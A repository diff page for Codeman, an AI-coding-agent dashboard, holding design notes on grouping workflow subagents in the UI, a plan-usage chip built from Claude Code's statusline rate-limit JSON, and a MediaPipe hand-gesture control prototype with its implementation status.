-`renderSubagentPanel`/`_renderSubagentPanelImmediate`: when `showUltracodeAgents` is on, **partition `this.subagents` into flat (no `workflowRunId`) vs grouped-by-`workflowRunId`**. Flat agents render exactly as today. For each group: build the header from `this.workflowRuns.get(runId)` (`workflowName` + phase/status chip from `phases[]`), then render that run's agents reusing the existing per-agent row markup. **Per-agent label/phase/agentType come from the JOIN** — build `Map(agentId → entry)` from `this.workflowRuns.get(runId).agents` and look each agent up by `agent.agentId`; render the small chip via the `getTeammateBadgeHtml` pattern. (If the run object hasn't arrived yet, fall back to the agent's own `description` — the run `:updated` event will fill it in on the next render.)
-`findParentSessionForSubagent` is unchanged — workflow agent `sessionId === session.claudeSessionId`. **Do not conflate `workflowRunId` with `sessionId`.**
### 4d. `src/web/public/subagent-windows.js`
**Decision: REUSE `.subagent-window` per agent + a group sub-header — do NOT build a cluster class.** A cluster path duplicates Map/z-index/drag/cleanup/persistence for no functional gain; reuse keeps connection lines, minimize-to-tab, and `localStorage` persistence. In `openSubagentWindow`, where the optional `.subagent-window-parent` sub-header is built: when `agent.workflowRunId` is set, inject a `.subagent-workflow-header` showing `this.workflowRuns.get(runId)?.workflowName` + the joined agent's `label`/phase (look up by `agentId`), mirroring the `from <session>` sub-header. Respect the existing skip guards (teammate-terminal windows, minimized/`_lazyTerminal`).
**Do NOT auto-open windows** for workflow agents — a multi-phase run can spawn many, against the 50-window/60fps budget + `MAX_TRACKED_AGENTS=500`. They render collapsed in the grouped panel; the user expands via the existing panel buttons.
-`openAppSettings`: load `settings.showUltracodeAgents` with `false` fallback (mirror `showPlanUsageLimits`).
-`saveAppSettings`: collect `showUltracodeAgents` into the fresh settings literal (uncollected keys reset to default every save).
- Live-apply on toggle: re-run `renderSubagentPanel()` (show/hide group sections) — a panel re-render, not a CSS-class strip.
- **SYNCED, not per-device:** do NOT add `showUltracodeAgents` to `displayKeys` and do NOT strip it in the per-device block. A synced value gives the server-side gate (`isWorkflowAgentTrackingEnabled`, §3e) one canonical truth to decide whether to run the watcher; a per-device value can't gate a process-wide watcher. (Contrast `showResponseViewer`, pure client display.)
-`styles.css` + `mobile.css`: add `.subagent-workflow-header` and `.subagent-group-badge` next to `.subagent-window-parent`; mirror device overrides in `mobile.css`.
## 5. Settings / opt-in wiring
- **Key:** `showUltracodeAgents` (boolean, **default OFF**). Fallback `false` in `openAppSettings`; "absent ⇒ off" in `isWorkflowAgentTrackingEnabled()`. Schema `z.boolean().optional()` in the `.strict()` update schema, kept OUT of `displayKeys` (synced).
- **Runtime gating:** `workflowRunWatcher.start()` and the subagent-watcher `workflows/` descent run only when the boot-time `settings.json` read reports `showUltracodeAgents === true` (mirroring `isSubagentTrackingEnabled`). The frontend additionally gates display. Toggling at runtime gates **display** immediately (panel re-render); the **watcher branch** picks up on next boot — matches existing `subagentTrackingEnabled` semantics. (Optional polish: restart just the workflow watcher on toggle for instant on/off.)
## 6. SSE events
**Reused (no change):**`subagent:discovered|updated|tool_call|tool_result|progress|message|completed`. Workflow agents flow through these; payloads now carry the optional `isWorkflowAgent`/`workflowRunId` fields on `SubagentInfo`. SSE payloads aren't schema-gated (typed only at `broadcast()` call sites), so the new fields propagate with zero friction.
Sync requirement (CLAUDE.md): each must appear in **both**`sse-events.ts` (§3d) and `constants.js``SSE_EVENTS` (§4a), be emitted via `broadcast()` in `setupWorkflowRunWatcherListeners()` (§3e), and have a dispatch-table row + `_on*` handler (§4b/§4c).
## 7. Edge cases & cleanup
- **`journal.jsonl` phantom-agent trap** — owned by §3a-4: run-dir registration requires the `agent-` prefix and excludes `journal.jsonl`.
- **`isInternalAgent` over-filtering** — owned by §3a-6: bypass at BOTH drop sites; titled from the frontend join (or the description fallback).
- **No workflow agents in the flat list** — `renderSubagentPanel` partitions on `agent.workflowRunId` (§4c). When the toggle is OFF, the descent never ran, so they aren't in `this.subagents` at all.
- **Completion/idle** — keep the existing per-agent mtime/PID/pgrep liveness as the per-card source of truth. Optionally render a group-level "workflow done" badge from run-state `status==='completed'`.
- **Limits** — `MAX_TRACKED_AGENTS=500` LRU-evicts workflow agents in the same flat map; no auto-open (50-window budget); the 4h `STARTUP_MAX_FILE_AGE_MS` skip means a run completed >4h ago won't reload after restart (acceptable — live monitoring).
- **Reconnect/replay** — agents via `getRecentSubagents(15)`; headers via `workflowRuns: getRecentRuns(15)` in `getLightState`. `handleInit` clears `this.workflowRuns` alongside the subagent Maps.
- **Watcher teardown** — every per-run `fs.watch` and the chokidar watcher closes in `stop()` and on `error`; `CleanupManager` for the new watcher (24h runs create many run dirs).
- **CLAUDE.md discipline** — read-only `~/.claude/...` artifacts; no new `~/.codeman/...` paths, no env-var prefixes touched. Claude-mode-only by nature (external CLIs don't write workflow transcripts).
## 8. Testing & verification
- **Unit (pure):**
-`test/workflow-run-watcher.test.ts`: feed a scrubbed fixture `wf_<runId>.json` → assert `WorkflowRunInfo` extraction (name/summary/phases, `workflowProgress`→`agents[]` keyed by `agentId`), mtime-skip, removal-by-set-diff.
- Extend `subagent-watcher` coverage: temp `subagents/workflows/wf_X/agent-Y.jsonl` + a stray `journal.jsonl` → assert `agent-Y` registered with `isWorkflowAgent`/`workflowRunId` and `journal.jsonl` NOT registered; assert a short-description workflow agent is NOT dropped at **either**`isInternalAgent` site.
- **Route/inject (`app.inject`):** `GET /api/workflows` + `:runId` return the `ApiResponse` envelope; `GET /api/subagents` includes a tagged agent.
- **Frontend (vm-sandbox, like `test/run-mode-ui.test.ts`):** dispatch `subagent:discovered` with `workflowRunId` + `workflow:run_discovered` → assert `renderSubagentPanel` produces a group section under the workflow name with the agent inside it (label sourced from the **join**, not flat); assert order-independence (agent before run, and run before agent both resolve); assert OFF hides the section.
- **REQUIRED real end-to-end** (the always-end-to-end-test rule — the plan-usage chip shipped *dead* from a gate mismatch): on dev/beta with `showUltracodeAgents` ON, **drive a real ultracode/workflow run**, then (1) `curl …/api/workflows | jq` shows the live run with `agents[]`; (2) `curl …/api/subagents | jq '.data[]|select(.isWorkflowAgent)'` shows tagged agents; (3) watch `/api/events` for `workflow:run_discovered` + `subagent:discovered` with the workflow fields; (4) Playwright (`waitUntil:'domcontentloaded'`, wait 3–4s) asserts the grouped DOM cluster renders with the workflow-name header and live status. Verify path gates against `GET /api/sessions``workingDir`. **Test against a LIVE run** — all at-rest runs are `completed`/`done`; `running`/`queued` states only exist mid-run.
## 9. Phased rollout
| Phase | Scope | Done-check | Size |
|---|---|---|---|
| **P1 — Backend discovery + tagging (gated, no UI)** | §3a (nested descent, `journal.jsonl` skip, 2 `SubagentInfo` fields, `isInternalAgent` bypass ×2) + §3f schema key + §3e gate read. No run watcher yet. | With `showUltracodeAgents` forced on, `curl /api/subagents \| jq '.data[]\|select(.isWorkflowAgent)'` lists real workflow agents during a live run; flat subagents unchanged; `tsc --noEmit` + targeted watcher test green. | S–M |
| **P3 — Frontend grouped UI** | §4a–§4d (constants, app.js state/dispatch/init, panels-ui grouped render + **agent→label join**, subagent-windows group sub-header). Reuse `.subagent-window`; no auto-open. | Playwright: live run renders a group section under the workflow name with per-agent rows + live status + joined labels; flat subagents stay flat; expand opens a window with the workflow sub-header. | M |
| **P4 — Settings toggle + polish + docs** | §4e (checkbox, settings-ui load/save/live-apply, SYNCED), styles/mobile, phase chips, CLAUDE.md "Key Patterns" entry + this doc's status → SHIPPED. | Toggling the checkbox shows/hides the cluster live (no reload for display); OFF by default on a fresh install; CI green. | S |
Each phase is independently shippable: P1 is invisible (gated, no UI), P2 adds an API with no UI dependency, P3 lights up the UI for flag-enablers, P4 exposes the toggle and finalizes defaults/docs.
## 10. Effort & risk
**Size:** P1 = S–M, P2 = M, P3 = M, P4 = S. Total ≈ **M** (one focused engineer, ~2–4 days incl. the real end-to-end run — down from the first draft's M-L now that the backend join/coupling is gone).
**Top 3 risks:**
1.**Non-recursive watch on Linux misses live writes.**`fs.watch` is non-recursive and `{recursive:true}` is unreliable on Linux → per-`wf_<runId>` watchers (§3a-4) are correct, but the 5s full scan must re-`readdir(wfRoot)` to catch *new* run dirs mid-session, and each watcher must be torn down to avoid FSWatcher leaks in 24h runs. Mitigation: explicit per-run-dir registration + verified `dirWatchers` teardown; chokidar (with `CleanupManager`) only in the new run watcher, where `team-watcher` already proves the pattern.
2.**Discovery cost / over-registration.** A user with hundreds of historical workflow agents could flood `agentInfo` on boot. Mitigation: the 4h `STARTUP_MAX_FILE_AGE_MS` skip drops old files on the initial scan, the descent only runs when the toggle is on, and `MAX_TRACKED_AGENTS=500` LRU-evicts. Verify boot scan time doesn't regress with the corpus present.
3.**Shipping-dead-on-a-gate** (the repo's recurring failure mode — the plan-usage chip shipped dead because injection was gated on `CASES_DIR` while real sessions ran elsewhere). Same trap here if the path/mode gate is wrong (e.g. `projects/*/workflows` instead of `projects/*/*/workflows`, or correlation via the wrong session key). Mitigation: the **mandatory live ultracode end-to-end run** in §8 against a real session's `workingDir`, observing the real SSE event + real DOM cluster — not the at-rest corpus, not unit tests alone.
> The `rate_limits` JSON schema below was **empirically confirmed** against Claude Code 2.1.177 on a Claude Max account; see the Verification appendix to reproduce.
## Problem
Codeman had no proactive view of how much of the Claude subscription is left. It only learned about limits **reactively**: `usage-limit-patterns.ts` regex-scrapes ANSI-stripped terminal output for footer strings like `5-hour limit reached ∙ resets 8pm`, extracting only the **reset time**, and only *after* Claude has already stalled. There was no "73% of your 5-hour limit used" anywhere.
We wanted a live, always-visible gauge so the operator can see a wall coming and pace overnight/autonomous runs — without hijacking the in-terminal statusline, which should keep showing the current session's status.
## Data source: the statusline `rate_limits` JSON
Claude Code (**v2.1.80+**; prod box runs **2.1.177**) pipes a JSON blob to a configured `statusLine.command` on stdin after each render. On Pro/Max subscriptions that blob includes `rate_limits`. **This is the only channel that exposes plan-limit data** (see rejected alternatives) — so the feature *must* set a statusLine command, which is why the footer is also reconstructed by it (below).
| `rate_limits.five_hour.used_percentage` | `number` 0–100 | Integer-valued in practice; treat as `number`, don't assume decimals. |
| `rate_limits.five_hour.resets_at` | `number` | **Epoch SECONDS** (10 digits). `×1000` for a JS `Date`. |
| `rate_limits.seven_day.{used_percentage,resets_at}` | same | |
**Confirmed facts & gotchas:**
- **Only two windows exist: `five_hour` and `seven_day`.** There is **no separate Opus-weekly field**, even on a Max/Opus account.
-`rate_limits` is **absent on the first render**, **present after the first API response**. UI degrades to "no chip yet."
- statusLine fires **only in interactive TUI mode**, never `--print`. Fine — Codeman sessions are interactive TUIs (and so are Codeman-spawned ones in tmux).
- **Subscriber-gated.** Absent for API-key / non-subscriber auth.
### Bonus telemetry in the same payload — used for the footer
The same stdin object also carries `model.display_name`, `context_window.{used_percentage, total_input_tokens, total_output_tokens, …}`, `cost.total_cost_usd`, `effort.level`, etc. The shipped feature uses **model + token totals + context %** to build the in-terminal footer (so the statusline stays useful even though we own it). The endpoint also broadcasts `contextUsedPercentage`/`costUsd`/`modelDisplayName` alongside the limits for future chip tooltips.
### Alternatives considered & rejected
| Source | Why not |
|--------|---------|
| OAuth endpoint `api.anthropic.com/api/oauth/usage` | Undocumented, aggressively rate-limited, needs the **encrypted** OAuth token. Only worth it for *dollar spend*. |
| `/usage` slash command | Interactive-only, no programmatic output. |
| On-disk `~/.claude/` files | No usage state persisted (only `daemon.status.json` = auto-updater supervisor). |
| CLI flag (`claude usage` / `--check-usage`) | Does not exist. |
| `StopFailure` hook | Carries only an `error_type` on *failure* — no live percentages. |
## As-built architecture
```
Claude TUI (any Claude session, incl. linked-case/real-repo sessions)
│ renders statusline after each assistant msg (+ /compact, mode change)
parse model/tokens/ctx → return the session-status footer string
▼
app.js: _onSessionStatusTelemetry → chip (per-window colors) + localStorage save
handleInit → chip from init-snapshot planUsage (fresh-load replay)
```
### 1. The exporter — `generateStatusLineCommand()` in `hooks-config.ts`
Mirrors the hook `curlCmd()`. Reads the stdin JSON, POSTs `{sessionId, data}` to a **fixed** loopback path, and prints the response body back to stdout (print-through, so the footer stays useful). The managed-session env carries `$CODEMAN_SESSION_ID` / `$CODEMAN_API_URL` / `$CODEMAN_HOOK_SECRET_FILE` (from `tmux-manager.buildEnvExports()`).
⚠️ **`curl -sk`, not `curl -s`.** Prod is loopback **HTTPS with a self-signed cert**; without `-k`, curl returns `000` and the statusline silently shows nothing. `-k` is safe (loopback only). *(The existing hook curls use `-s` without `-k` and have the same latent issue on HTTPS installs — a known, separate follow-up.)*
Fixed path (sessionId in the **body**, not the URL) so the auth exemption is an exact-match like `/api/hook-event` (`middleware/auth.ts`: loopback-only; `X-Codeman-Hook-Secret`-gated while a tunnel runs). Schema `StatusTelemetrySchema` in `schemas.ts` validates the subset; unknown keys are stripped. Pure parsing/formatting in `usage-telemetry.ts`:
-`parseStatusTelemetry(data)` → `{ fiveHour, sevenDay, … }` or `null`. On change (signature dedup; statusline fires often), store last-known (`plan-usage-latest.ts`) and `broadcast('session:statusTelemetry', { sessionId, …telemetry })`.
-`parseSessionStatus(data)` + `formatSessionStatusText()` → the **footer** string `Opus 4.8 (1M context) in:562,411 out:1,188 ctx:56%` (returned as `text/plain`). Available from the first render, even before `rate_limits` appears.
### 3. SSE + frontend chip
`session:statusTelemetry` registered in `sse-events.ts` + `constants.js`. `app.js`:
-`_onSessionStatusTelemetry` → `updatePlanUsageChip(data)` + save to `localStorage['codeman:planUsage']`.
-`updatePlanUsageChip` renders two `5h`/`7d` windows; **per-window color by usage** — green `<60%`, yellow `60–84%`, red `≥85%` (`pu-green/pu-yellow/pu-red`); bold labels/values; reset times in the tooltip. `resets_at*1000 → Date`.
- Chip element ships hidden (`header-plan-usage--hidden`); `applyHeaderVisibilitySettings()` reveals it client-side when the setting is on (response-viewer pattern — **no `renderIndexHtml` strip**, which kept the "title-only" render contract intact).
### 4. Chip data robustness — three layers
1.**Live:**`session:statusTelemetry` SSE on every distinct render.
2.**Fresh load / reconnect:** server stores the latest in `plan-usage-latest.ts`; `getLightState()` includes it as `planUsage`; the per-connection **init snapshot** replays it; `handleInit` paints the chip immediately (authoritative over localStorage). Null until the first telemetry of the process.
3.**Offline / cross-restart:**`restorePlanUsageChip()` reads `localStorage` on load (12h freshness guard).
### 5. Injection lifecycle — works for *any* user, never self-destructs
The setting `showPlanUsageLimits` is **synced** (in `settings.json`, not a per-device `displayKey`).
- **On toggle** (`PUT /api/settings`, `system-routes.ts`): reconcile the exporter across **all active Claude sessions' working dirs** — inject on enable, remove on disable. Server-side and authoritative, so existing sessions get the footer + feed the chip *immediately*, no new session needed, no dependency on a client's synced localStorage.
- **On session create** (`session-routes.ts`): **ADD-ONLY** — inject when `statusLineTelemetry` is true; **never remove**. Sessions in a repo share one `settings.local.json`, so a single create-with-false (e.g. a client whose synced setting hadn't loaded) must not yank the statusLine out from under other live sessions. Removal happens only via the explicit toggle.
-`applyStatusLineConfig()` is **`isOurs`-guarded** (matches `/api/status-telemetry`), so a user's own hand-authored statusLine is never touched, and it **updates an out-of-date ours-command** so fixes (e.g. `-k`) propagate. **No `CASES_DIR` gate** — runs for linked cases / real repos (where sessions actually run), mirroring `updateCaseModel`.
## Codeman-specific considerations
1.**Account-global limits.** The 5h/7d pools are shared across all sessions on the account → one shared header chip (freshest sample wins), not a per-tab bar.
2.**The footer is owned, by necessity.** A statusLine command always replaces Claude's default footer. Since `rate_limits`*only* arrives via statusLine, we reconstruct a useful **session-status** footer (model · tokens · ctx %) from the same payload rather than showing the limits there.
3.**`isOurs`-guarded.** Never removes/overwrites a user's own statusLine on disable; only manages the Codeman exporter.
4.**Security envelope unchanged.** The exporter runs arbitrary shell every render — same trust model as the hook curls (localhost + `$CODEMAN_HOOK_SECRET_FILE`); reuses the hook-secret gate.
5.**Claude-only.** OpenCode/Codex emit no `rate_limits` JSON; injection is gated to `mode === 'claude'`.
6.**Future — auto-resume synergy.** Live percentages would let `SessionAutoOps` pre-arm *before* the wall instead of reacting to the stall footer. Not built.
## Files shipped
-`src/usage-telemetry.ts` — pure parse/format (`parseStatusTelemetry`, `parseSessionStatus`, `formatSessionStatusText`, `telemetrySignature`) + `test/usage-telemetry.test.ts`.
## Bugs E2E testing caught (that unit tests didn't)
The first "shipped" build passed every test and was broken in practice. End-to-end testing on the real install (the lesson: drive a REAL session, observe the REAL output) surfaced:
1.**`CASES_DIR` injection gate** excluded the user's whole workflow — sessions run in linked cases / real repos, not under `~/codeman-cases`. → dropped the gate.
2.**`curl -s` → `000`** on the loopback self-signed HTTPS cert; statusline silently empty. → `curl -sk`.
3.**Remove-on-create-false + shared `settings.local.json`** let a single stale client yank the statusLine out from under all sessions in a repo. → add-only on create; removal only via the toggle reconcile.
4.**Chip blank after reload** (localStorage-only, lost on restart/fresh browser). → server-side last-known in the init snapshot.
## Open questions / future
- **Schema stability.** `rate_limits` is officially shipped but undocumented in exact shape; the parser is tolerant (renders whatever windows exist, ignores unknown).
- **Hook `curl -s` parity.** Hooks share the no-`-k` issue on HTTPS installs — worth fixing the hook curl too (separate change; covered by `cod54` tests).
- **Disable cleanliness.** Disabling removes the statusLine from active sessions; a brand-new session created by a *stale* client could re-add it (chip still hidden, footer benign). Fully server-authoritative create-time injection (read the setting server-side instead of the payload flag) would close this — deferred.
## Verification appendix — how the schema was captured (reproducible)
Captured without touching global settings or any real session:
1. Throwaway dir `/tmp/sl-capture` with an exporter `dump.sh` that appends stdin to `payloads.jsonl` and prints `cap`; a `settings.json` pointing `statusLine.command` at it.
2.`--print` mode does **not** render a statusline → no capture (confirms TUI-only). Must use interactive.
3. Launch interactive Claude in an **isolated tmux socket** (`tmux -L slcap`, never `-L codeman`) inside the temp dir, `--settings /tmp/sl-capture/settings.json` (no global mutation). Confirm the workspace-trust dialog (appears even with `--dangerously-skip-permissions`), then send a one-line prompt (literal text + Enter separately, Ink-style).
4. After the first response, `rate_limits` appears in the **second** captured record (absent in the first). Inspect with `jq '.rate_limits'`.
5. Tear down: `tmux -L slcap kill-server` + `rm -rf /tmp/sl-capture`; verify the `codeman` socket is untouched.
5. Feels responsive — drag lag is not perceptible, jitter is filtered out.
**Done when:** you can sit at your desk, pinch a tab, move it to another column,
release, and it lands — reliably, without visible jitter, with the camera
mounted at your chosen angle.
---
## Tech stack
- **MediaPipe Tasks Vision** (`@mediapipe/tasks-vision`) — `GestureRecognizer` in `VIDEO` running mode, `numHands: 1` for v1 (add 2 later). Loads the prebuilt `gesture_recognizer.task` model + WASM from CDN.
- **Vanilla TS + Vite** for the prototype (no framework needed; keep it portable so the module drops into Codeman regardless of its stack). If Codeman is React, the module stays framework-agnostic and you wrap it in a hook at integration time.
- **One-Euro filter** for cursor smoothing — implement it directly, it's ~40 lines and is the correct tool for noisy interactive landmark streams (low lag at speed, heavy smoothing when still).
- **Web Worker** for inference is a **Phase 4** optimization — do NOT start there. Get it working on the main thread first; only move to a worker if the dashboard UI stutters.
---
## File structure
```
gesture-proto/
├── index.html # demo page: video preview + columns of fake tabs
│ │ ├── GestureController.ts # core: camera + recognizer + state machine + events
│ │ ├── OneEuroFilter.ts # cursor smoothing
│ │ ├── pinch.ts # pinch detection w/ hysteresis
│ │ ├── landmarks.ts # landmark index constants + helpers
│ │ └── types.ts # event payload types, config
│ └── demo/
│ ├── tabs.ts # fake tab/column model + render
│ └── overlay.ts # draws hand skeleton + cursor dot over video (debug)
└── README.md
```
---
## Core algorithms (the parts that decide whether it feels good)
### 1. Cursor from landmarks
The drag cursor is the **midpoint of thumb tip (landmark 4) and index tip (landmark 8)**, in normalized [0,1] coords from MediaPipe.
- **Mirror X** (`x = 1 - x`) — the webcam image is flipped relative to the user.
- Map normalized → screen pixels against the dashboard's bounding rect.
- Run the resulting (x, y) through **two independent One-Euro filters** (one per axis) before using it. Raw landmarks jitter by several pixels even when the hand is still; this is the single most important quality step.
### 2. Pinch detection with hysteresis
Compute euclidean distance between landmark 4 and landmark 8. **Normalize by hand size** (e.g. distance wrist→middle-finger-MCP, landmarks 0→9) so the threshold is robust to how close the hand is to the camera.
- Use **two thresholds, not one** (hysteresis): enter pinch below `PINCH_ON` (e.g. 0.35 of hand size), exit only above `PINCH_OFF` (e.g. 0.5). This stops flickering between grab/release at the boundary — critical for not "dropping" a tab mid-drag.
- Require the pinch state to persist N frames (e.g. 2–3) before firing, to reject single-frame noise.
Keep it **transport-agnostic**: it emits semantic events, it does NOT know about
Codeman's DOM. Integration is just subscribing to these events and calling
Codeman's existing tab-move / command functions.
---
## Phased build (each phase is independently testable — stop and feel it before moving on)
**Phase 0 — Scaffold & camera (½ day)**
Vite + TS project. `index.html` with a mirrored `<video>` and a "start" button (camera must be a user gesture). Confirm `getUserMedia` works and you see yourself. Must be served over http(s), not `file://`.
**Phase 1 — Recognizer + debug overlay (½ day)**
Load `GestureRecognizer` (`VIDEO` mode, CDN model+wasm). Run `recognizeForVideo(video, performance.now())` in a `requestAnimationFrame` loop. Draw the 21-point skeleton + an FPS counter on a canvas over the video. **Checkpoint: confirm you're getting ≥25fps on your actual camera/lighting setup.** Tune lighting here.
**Phase 2 — Cursor + pinch (1 day)**
Implement `OneEuroFilter` and `pinch.ts`. Render a cursor dot driven by the filtered thumb/index midpoint. Show live pinch distance in the HUD and a color change on grab. **Checkpoint: the dot is steady when your hand is still, and pinch grab/release is crisp with no flicker.** Tune filter constants (`minCutoff`, `beta`) and pinch thresholds here — this is where the "feel" is won or lost.
**Phase 3 — Drag the fake tabs (1 day)**
Build `tabs.ts`: 3 columns of draggable fake "sessions." Wire the state machine: hover-highlight, grab, drag-follow, drop-with-hit-test. **Checkpoint: you can move a tab across columns reliably 10/10 times.** This is the core demo and the real go/no-go for the whole idea.
**Phase 4 — Discrete commands + polish (1 day)**
Add gesture→command bus with debouncing and the 1s open-palm halt. Add an on-screen toast when a command fires. Optional: move inference to a Web Worker if the UI stutters; add second-hand support.
Drop `gesture/` into Codeman via a new consumer `src/codeman/entry.ts` (the core is unchanged; the demo's `main.ts` is *not* the integration point). It binds `grab`/`drag`/`drop` to real `.session-tab`s (grab-to-detach → `app.detachSession`) and pinch-taps the Run / Run Shell toolbar buttons. Runs in Codeman behind `CODEMAN_GESTURE=1`. See the detailed status under "Implementation status" below.
-`min_detection_confidence` / `min_tracking_confidence` ≈ 0.6; lower if quick gestures get missed, raise if you get false hands.
- Camera: target 30–60fps, even frontal lighting on the hand zone (matters more than the sensor).
---
## Hardware note
Prototype on the **MacBook M1 Max built-in cam** for zero-friction Phase 0–3.
For the real setup, switch to **iPhone via Continuity Camera** mounted at desk
level aimed at your hand-gesture zone — best sensor + best angle. Decide
front-facing (pointing/pinch-to-grab) vs overhead (swipe/drag-on-a-plane) mount
before Phase 3, since it slightly changes the gesture grammar.
---
## Implementation status (kept current)
- ✅ Phase 0, ✅ Phase 1 — see top-level `CLAUDE.md` and `gesture-proto/README.md`.
- ✅ Phase 1 fps checkpoint — 60fps on MacBook + iPhone 17 Pro (Continuity Camera).
- ✅ Phase 2 — `OneEuroFilter.ts` + `pinch.ts`: filtered cursor dot + pinch hysteresis. Cursor + `pinchDist` + `pinching` on the `status` event; HUD shows pinch distance, cursor ring turns green on grab.
- ✅ Phase 3 — `demo/tabs.ts`: 3 Screen columns of draggable session tabs. Controller owns the per-hand pinch state machine and emits `grab`/`drag`/`drop` in surface pixels (with a `hand` id); the demo hit-tests and moves tabs. Two-handed (drag two tabs at once); drop-on-vanish releases a tab if a pinched hand leaves frame.
- ✅ Beyond plan — two-hand tracking (`numHands: 2`, filters keyed by handedness) and a live camera picker.
- ✅ Camera (2026-06-06) — front-facing iPhone 17 Pro main lens (Chrome) is the default. **The superwide / Desk View (ultra-wide, overhead) camera now works with no issues and tracking is confirmed on it** — the earlier "Safari-only / stretched / unusable" finding is superseded. Pick either via the in-app camera picker.
- ✅ Phase 4 (built) — `commands.ts`: debounced gesture→command bus. `Thumb_Up`→approve, `Victory`→new-session (edge-triggered, fire once per entry), `Open_Palm` held `palmHoldMs`→halt-all (dead-man's-switch) with a 0–1 `haltProgress` charge surfaced on `status`. Commands ignore a pinching (mid-drag) hand.
- ⛔ **Phase 4 unwired in the demo (2026-06-06).** User wants pinch-drag only — an open palm while reaching to pinch kept charging the hold-to-halt. `main.ts` no longer subscribes to `command`/`haltProgress` and the command/charge toasts are gone. The `GestureController` core is untouched and still emits both events, so Phase 5 (or a re-enabled demo) can pick them up unchanged.
- 🐛 **Drag-position fix (2026-06-06).** A `.dragging` tab is `position: absolute`; the `.column`s establish a containing block via `backdrop-filter`, so board-local left/top were offset by the column's own position — tabs in the middle/right columns flew to the right on grab. Fix: `tabs.ts` reparents the floating tab onto `#board` (no filter/transform) for the drag, so the coordinates `moveTo` computes match the containing block.
- ✅ **Phase 5 — WORKING at the desk (2026-06-07).** Prerequisite cleared: Codeman tab-detach/undock works in the runtime (`app.detachSession(id)` is the idempotent hook). The gesture overlay runs live in the real Codeman dashboard on `:5000` and was confirmed by the user (normal tab): fullscreen cam + hand/cursor tracking, undock-by-pinch, and Run/Run Shell taps.
- **Integration shape: in-page overlay, built into Codeman beta.** The gesture `core` (`src/gesture/`) ships **unchanged**; the consumer is `src/codeman/entry.ts`, esbuild-bundled (`npm run build:codeman`) and served by Codeman at `/gesture/gesture-codeman.js`. A full-viewport, click-through overlay maps coords straight to `elementFromPoint`.
- **Gestures (routed by what the pinch lands on):** (a) **grab → in-page floating panel***(⚠️ pivoted 2026-06-08 — was grab-to-detach)*: pinch a `.session-tab`, a ghost clone follows the hand, pull >`DETACH_PULL_PX` (70) and release → `floatSession(id, x, y)` spawns a re-grabbable `.cg-float` iframe of `/session/:id` (640×420). This **replaced**`window.app.detachSession(id)` (an OS window is a sealed box the hand can't move again — a one-way trip); the float stays in-page so the hand keeps control. See `../../docs/MULTIMONITOR_DESIGN.md`. (b) **Run / Run Shell taps** — pinch over `#runBtn`→`app.run()` / `.btn-shell`→`app.runShell()` and release in place; drift >`TAP_CANCEL_PX` (45) cancels. `CLICK_SELECTOR` is the extensible list. (c) **Fullscreen dimmed cam** by default, **⛶** toggles corner PiP.
- **Self-hosted MediaPipe (no CDN).** `entry.ts` passes `wasmBase: "/gesture/wasm"` + `modelUrl: "/gesture/gesture_recognizer.task"`; Codeman serves them same-origin. The CDN path failed in the normal browser tab (content/ad blocker blocking `jsdelivr`/`googleapis`) → surfaced as `failed: {"isTrusted":true}` once `entry.ts` learned to report non-Error throws. Core also gained a GPU→CPU delegate fallback.
- **Gated by `CODEMAN_GESTURE=1` (OFF by default).** Under the flag Codeman injects the module script (dashboard only, not `/session/:id` solo popups), cache-busts it with `?v=<mtime>` (static is `max-age=1y`), and widens CSP (`'wasm-unsafe-eval'` + `worker-src 'self' blob:`; same-origin assets now covered by `'self'`). Flag off ⇒ Codeman HTML/CSP unchanged.
- **Codeman-side / version control:** the detach + instance isolation + base gesture overlay are committed on `Ark0N/Codeman` branch `beta/session-detach`, open as **PR #103** (tip `afea6d6`; `ceca853` after I fixed its `auth.ts` format:check → CI green). Gotcha: the local prod clone `~/.codeman/app` tracks only `master`, so the branch is hidden until `git fetch origin beta/session-detach` (this briefly misled me into a bogus local reconstruction `03b31b8`, since deleted). The session improvements — direct-detach via `window.app.detachSession`, Run/Run Shell pinch-taps, self-hosted MediaPipe (`/gesture/wasm` + `.task`), and the `server.ts` mtime cache-bust — were **ported onto PR #103** in commit `eea84db` (CI green); their source is `Ark0N/codeman-gesture-control` (`src/codeman/entry.ts`).
| Codeman — caching | `src/web/server.ts` | `cacheBustAssets()` — `?v=<mtime>` on all same-origin `.js`/`.css` so frontend edits show on normal reload | ✅ PR #103`b5ea711` |
"description":"Jarvis-style hand-tracking input layer for the Codeman dashboard. Vendored into the Codeman repo; the Codeman bundle (src/codeman/entry.ts) is built into src/web/public/gesture/gesture-codeman.js by `npm run build:gesture` at the repo root.",
@@ -39,7 +39,7 @@ Server echoes 'h' ←───────────────────
## Origin
This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), the missing control plane for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code and OpenCode. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), mission control for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code, OpenCode, and Codex. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
// Non-fatal: opt-in feature. Warn and exit 0 so install/build still succeed.
console.warn(`[gesture] could not fetch MediaPipe assets — overlay disabled until fetched: ${err.message}`);
});
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.